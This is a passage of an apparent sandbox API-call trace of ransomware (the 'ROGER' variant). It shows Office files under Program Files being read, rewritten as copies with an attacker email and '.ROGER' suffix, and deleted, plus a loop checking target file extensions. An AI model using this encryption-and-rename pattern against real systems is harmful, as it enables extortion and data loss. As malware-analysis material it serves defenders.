ReadFile (in: hFile=0x40c, lpBuffer=0x50b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50b0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.744] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.746] ReadFile (in: hFile=0x40c, lpBuffer=0x50f0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x50f0058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.753] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x44bfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0060.753] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc2c | out: lpNewFilePointer=0x0) returned 1 [0060.753] ReadFile (in: hFile=0x40c, lpBuffer=0x5130058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x44bfc38, lpOverlapped=0x0 | out: lpBuffer=0x5130058*, lpNumberOfBytesRead=0x44bfc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.769] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0060.770] WriteFile (in: hFile=0x40c, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xc00fa, lpNumberOfBytesWritten=0x44bfcb0, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfcb0*=0xc00fa, lpOverlapped=0x0) returned 1 [0061.001] SetEndOfFile (hFile=0x40c) returned 1 [0061.139] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x40000) returned 0x5360048 [0061.139] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.139] WriteFile (in: hFile=0x40c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.140] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.140] WriteFile (in: hFile=0x40c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.152] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x44bfc7c | out: lpNewFilePointer=0x0) returned 1 [0061.152] WriteFile (in: hFile=0x40c, lpBuffer=0x5360048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x44bfc88, lpOverlapped=0x0 | out: lpBuffer=0x5360048*, lpNumberOfBytesWritten=0x44bfc88*=0x40000, lpOverlapped=0x0) returned 1 [0061.154] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x5360048 | out: hHeap=0x790000) returned 1 [0061.154] CloseHandle (hObject=0x40c) returned 1 [0061.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.302] lstrlenW (lpString=".doc") returned 4 [0061.302] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.302] lstrlenW (lpString=".docx") returned 5 [0061.302] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0061.302] lstrlenW (lpString=".pdf") returned 4 [0061.302] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.302] lstrlenW (lpString=".xls") returned 4 [0061.302] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.302] lstrlenW (lpString=".xlsx") returned 5 [0061.302] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0061.302] lstrlenW (lpString=".ppt") returned 4 [0061.303] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.303] lstrlenW (lpString=".zip") returned 4 [0061.303] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString=".rar") returned 4 [0061.303] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString=".bz2") returned 4 [0061.303] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.303] lstrlenW (lpString=".7z") returned 3 [0061.303] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.303] lstrlenW (lpString=".dbf") returned 4 [0061.303] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.303] lstrlenW (lpString=".1cd") returned 4 [0061.303] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.303] lstrlenW (lpString=".jpg") returned 4 [0061.303] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.303] lstrlenW (lpString=".doc") returned 4 [0061.303] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString=".docx") returned 5 [0061.303] lstrcmpiW (lpString1=".docx", lpString2="O.DLL") returned -1 [0061.303] lstrlenW (lpString=".pdf") returned 4 [0061.303] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString=".xls") returned 4 [0061.303] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString=".xlsx") returned 5 [0061.303] lstrcmpiW (lpString1=".xlsx", lpString2="O.DLL") returned -1 [0061.303] lstrlenW (lpString=".ppt") returned 4 [0061.303] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.303] lstrlenW (lpString=".zip") returned 4 [0061.303] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString=".rar") returned 4 [0061.303] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.303] lstrlenW (lpString=".bz2") returned 4 [0061.304] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.304] lstrlenW (lpString=".7z") returned 3 [0061.304] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.304] lstrlenW (lpString=".dbf") returned 4 [0061.304] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.304] lstrlenW (lpString=".1cd") returned 4 [0061.304] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0061.304] lstrlenW (lpString=".jpg") returned 4 [0061.304] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.304] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0061.304] lstrlenW (lpString="MSSOAP30.DLL") returned 12 [0061.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0061.304] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=705392) returned 1 [0061.305] CloseHandle (hObject=0x3ec) returned 1 [0061.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 0x20 [0061.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0061.305] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.305] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.305] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0061.305] GetLastError () returned 0x0 [0061.305] ReadFile (in: hFile=0x3ec, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0xac370, lpOverlapped=0x0) returned 1 [0061.324] WriteFile (in: hFile=0x358, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xac380, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xac380, lpOverlapped=0x0) returned 1 [0061.336] ReadFile (in: hFile=0x3ec, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0061.336] WriteFile (in: hFile=0x358, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.337] SetEndOfFile (hFile=0x358) returned 1 [0061.337] CloseHandle (hObject=0x358) returned 1 [0061.337] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.337] SetEndOfFile (hFile=0x3ec) returned 1 [0061.342] CloseHandle (hObject=0x3ec) returned 1 [0061.342] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.343] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mssoap30.dll")) returned 1 [0061.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.343] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.343] lstrlenW (lpString=".doc") returned 4 [0061.343] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.343] lstrlenW (lpString=".docx") returned 5 [0061.343] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0061.343] lstrlenW (lpString=".pdf") returned 4 [0061.343] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.343] lstrlenW (lpString=".xls") returned 4 [0061.343] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.343] lstrlenW (lpString=".xlsx") returned 5 [0061.571] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0061.571] lstrlenW (lpString=".ppt") returned 4 [0061.572] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.572] lstrlenW (lpString=".zip") returned 4 [0061.572] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.572] lstrlenW (lpString=".rar") returned 4 [0061.572] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.572] lstrlenW (lpString=".bz2") returned 4 [0061.572] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.572] lstrlenW (lpString=".7z") returned 3 [0061.572] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.572] lstrlenW (lpString=".dbf") returned 4 [0061.572] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.572] lstrlenW (lpString=".1cd") returned 4 [0061.572] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.572] lstrlenW (lpString=".jpg") returned 4 [0061.572] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.572] lstrlenW (lpString=".doc") returned 4 [0061.572] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0061.572] lstrlenW (lpString=".docx") returned 5 [0061.572] lstrcmpiW (lpString1=".docx", lpString2="0.DLL") returned -1 [0061.572] lstrlenW (lpString=".pdf") returned 4 [0061.572] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0061.572] lstrlenW (lpString=".xls") returned 4 [0061.572] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0061.572] lstrlenW (lpString=".xlsx") returned 5 [0061.572] lstrcmpiW (lpString1=".xlsx", lpString2="0.DLL") returned -1 [0061.572] lstrlenW (lpString=".ppt") returned 4 [0061.572] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0061.572] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.573] lstrlenW (lpString=".zip") returned 4 [0061.573] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0061.573] lstrlenW (lpString=".rar") returned 4 [0061.573] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0061.573] lstrlenW (lpString=".bz2") returned 4 [0061.573] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0061.573] lstrlenW (lpString=".7z") returned 3 [0061.573] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0061.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.573] lstrlenW (lpString=".dbf") returned 4 [0061.573] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0061.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.573] lstrlenW (lpString=".1cd") returned 4 [0061.573] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0061.573] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSSOAP30.DLL") returned 68 [0061.573] lstrlenW (lpString=".jpg") returned 4 [0061.573] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0061.573] lstrcmpiW (lpString1=".exe", lpString2=".ROGER") returned -1 [0061.573] lstrlenW (lpString="ODeploy.exe") returned 11 [0061.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0061.576] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=571320) returned 1 [0061.577] CloseHandle (hObject=0x3a0) returned 1 [0061.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 0x20 [0061.578] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.580] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0061.580] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.584] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0061.586] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0062.024] GetLastError () returned 0x0 [0062.024] ReadFile (in: hFile=0x3a0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x8b7b8, lpOverlapped=0x0) returned 1 [0062.035] WriteFile (in: hFile=0x3ac, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0x8b7c0, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0x8b7c0, lpOverlapped=0x0) returned 1 [0062.045] ReadFile (in: hFile=0x3a0, lpBuffer=0x50b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x44bfed4, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesRead=0x44bfed4*=0x0, lpOverlapped=0x0) returned 1 [0062.045] WriteFile (in: hFile=0x3ac, lpBuffer=0x50b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x44bfc9c, lpOverlapped=0x0 | out: lpBuffer=0x50b0020*, lpNumberOfBytesWritten=0x44bfc9c*=0xea, lpOverlapped=0x0) returned 1 [0062.045] SetEndOfFile (hFile=0x3ac) returned 1 [0062.045] CloseHandle (hObject=0x3ac) returned 1 [0062.045] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x44bfec8 | out: lpNewFilePointer=0x0) returned 1 [0062.045] SetEndOfFile (hFile=0x3a0) returned 1 [0062.050] CloseHandle (hObject=0x3a0) returned 1 [0062.050] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0062.050] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\odeploy.exe")) returned 1 [0062.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.050] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.050] lstrlenW (lpString=".doc") returned 4 [0062.050] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0062.050] lstrlenW (lpString=".docx") returned 5 [0062.050] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0062.050] lstrlenW (lpString=".pdf") returned 4 [0062.051] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0062.051] lstrlenW (lpString=".xls") returned 4 [0062.051] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0062.051] lstrlenW (lpString=".xlsx") returned 5 [0062.051] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0062.051] lstrlenW (lpString=".ppt") returned 4 [0062.051] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0062.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.051] lstrlenW (lpString=".zip") returned 4 [0062.051] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0062.051] lstrlenW (lpString=".rar") returned 4 [0062.051] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0062.051] lstrlenW (lpString=".bz2") returned 4 [0062.051] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0062.051] lstrlenW (lpString=".7z") returned 3 [0062.051] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0062.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.051] lstrlenW (lpString=".dbf") returned 4 [0062.051] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0062.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.051] lstrlenW (lpString=".1cd") returned 4 [0062.051] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0062.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.051] lstrlenW (lpString=".jpg") returned 4 [0062.051] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0062.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.051] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.051] lstrlenW (lpString=".doc") returned 4 [0062.051] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0062.051] lstrlenW (lpString=".docx") returned 5 [0062.051] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0062.051] lstrlenW (lpString=".pdf") returned 4 [0062.051] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0062.051] lstrlenW (lpString=".xls") returned 4 [0062.051] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0062.051] lstrlenW (lpString=".xlsx") returned 5 [0062.052] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0062.052] lstrlenW (lpString=".ppt") returned 4 [0062.052] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0062.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.052] lstrlenW (lpString=".zip") returned 4 [0062.052] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0062.052] lstrlenW (lpString=".rar") returned 4 [0062.052] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0062.052] lstrlenW (lpString=".bz2") returned 4 [0062.052] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0062.052] lstrlenW (lpString=".7z") returned 3 [0062.052] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0062.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.052] lstrlenW (lpString=".dbf") returned 4 [0062.052] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0062.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.052] lstrlenW (lpString=".1cd") returned 4 [0062.052] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0062.052] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\ODeploy.exe") returned 91 [0062.052] lstrlenW (lpString=".jpg") returned 4 [0062.052] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0062.052] lstrcmpiW (lpString1=".DLL", lpString2=".ROGER") returned -1 [0062.052] lstrlenW (lpString="BRANDING.DLL") returned 12 [0062.052] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.053] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x44bff1c | out: lpFileSize=0x44bff1c*=15224) returned 1 [0062.053] CloseHandle (hObject=0x3a0) returned 1 [0062.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\BRANDING.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\branding.dll")) returned 0x20 [0062.053] GetFileAttributesW (lpFileName="C:\\Program Files\\Common 